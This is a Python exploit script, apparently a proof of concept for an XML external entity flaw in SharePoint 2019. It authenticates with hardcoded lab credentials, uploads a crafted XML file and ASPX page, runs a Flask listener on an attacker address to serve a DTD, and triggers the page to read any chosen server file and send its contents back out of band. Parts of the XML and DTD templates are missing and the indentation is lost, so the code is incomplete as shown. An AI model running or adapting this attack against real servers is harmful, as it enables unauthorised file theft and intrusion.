import os
import random
import string
import logging
from urllib.parse import unquote
import flask
from flask import Flask, send_file, request
import requests
from requests_ntlm import HttpNtlmAuth
from threading import Thread, Event
import time
flask.cli.show_server_banner = lambda *args: None
werkzeug_logger = logging.getLogger('werkzeug')
werkzeug_logger.disabled = True
app = Flask(__name__)
def GenerateRandomString(length):
characters = string.ascii_letters + string.digits
return "".join(random.choices(characters, k=length))
def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath):
evil_xml_content = f"""\n\n
%remote;\n%int;\n%send;\n]>\nwat"""
evil_aspx_content = f"""
<%@ Page Language="C#" %>
<%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
{variable_name}
"""
with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml:
evil_xml.write(evil_xml_content)
with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx:
evil_aspx.write(evil_aspx_content)
def GetAuthSesion(username, password):
session = requests.Session()
session.auth = HttpNtlmAuth(username, password)
return session
def GetSiteID(url, sitepath, proxy, session):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Accept": "application/json;odata=verbose"
}
response = session.get(f"{url}/{sitepath}/_api/web", headers=headers, proxies=proxy, verify=False, timeout=20)
if response.status_code == 200:
data = response.json()
site_id = data['d']['Id']
print(f'Site ID: {site_id}')
else:
print(f'Error: {response.status_code}')
print(response.text)
def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session):
file_name = os.path.basename(filepath)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Accept": "application/json;odata=verbose"
}
upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)"
token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers=headers, proxies=proxy, verify=False,
timeout=20)
if token_response.status_code != 200:
print(token_response.text)
token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
with open(filepath, "rb") as file:
file_content = file.read()
headers = {
"Accept": "application/json;odata=verbose",
"Content-Type": "application/octet-stream",
"X-RequestDigest": token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}
response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy, verify=False, timeout=20)
if response.status_code == 200:
print(f"[+] Upload successfully: {url}{sitepath}/{file_name}")
else:
print(response.status_code)
print(response.text)
def TriggerRce(url, sitepath, proxy, filename, session):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}
session.get(f"{url}{sitepath}/{filename}", proxies=proxy, headers=headers, verify=False, timeout=20)
def CreateDtdXml(dtdname, file_to_read, evilhost, port):
dtd_xml_content = f"""
">"""
with open(dtdname, "w", encoding="utf-8") as dtd_xml:
dtd_xml.write(dtd_xml_content)
@app.route("/", methods=["GET"])
def HandleOOB():
global file_text
raw_url = request.url
file_text = unquote(raw_url.split("?p=")[1])
print(file_text)
file_received_event.set()
return ""
@app.route("/", methods=["GET"])
def HandleFile(filename):
if filename.endswith(".xml"):
return send_file(filename, as_attachment=True)
if __name__ == "__main__":
url = "http://sp2019/".strip("/")
sitepath = "/sites/cvetest"
proxy = {
"http": "127.0.0.1:8083",
"https": "127.0.0.1:8083"
}
# proxy = None
username = "CVE\\Administrator"
password = "1qaz@WSX!@#456"
dtdname = "dtd.xml"
evilhost = "192.168.198.1"
port = 8080
session = GetAuthSesion(username, password)
variable_name = GenerateRandomString(8)
GetSiteID(url, sitepath, proxy, session)
GenerateEvilXmlAndAspx(variable_name, f"http://{evilhost}:{port}/{dtdname}", sitepath)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session)
file_received_event = Event()
flask_thread = Thread(target=app.run, kwargs={'host': evilhost, 'port': port})
flask_thread.start()
while True:
file_to_read = input("[*] What file would you like to read? eg: c:/windows/win.ini > ").replace("\\", "/")
CreateDtdXml(dtdname, file_to_read, evilhost, port)
file_received_event.clear()
TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx", session)
while not file_received_event.is_set():
time.sleep(1)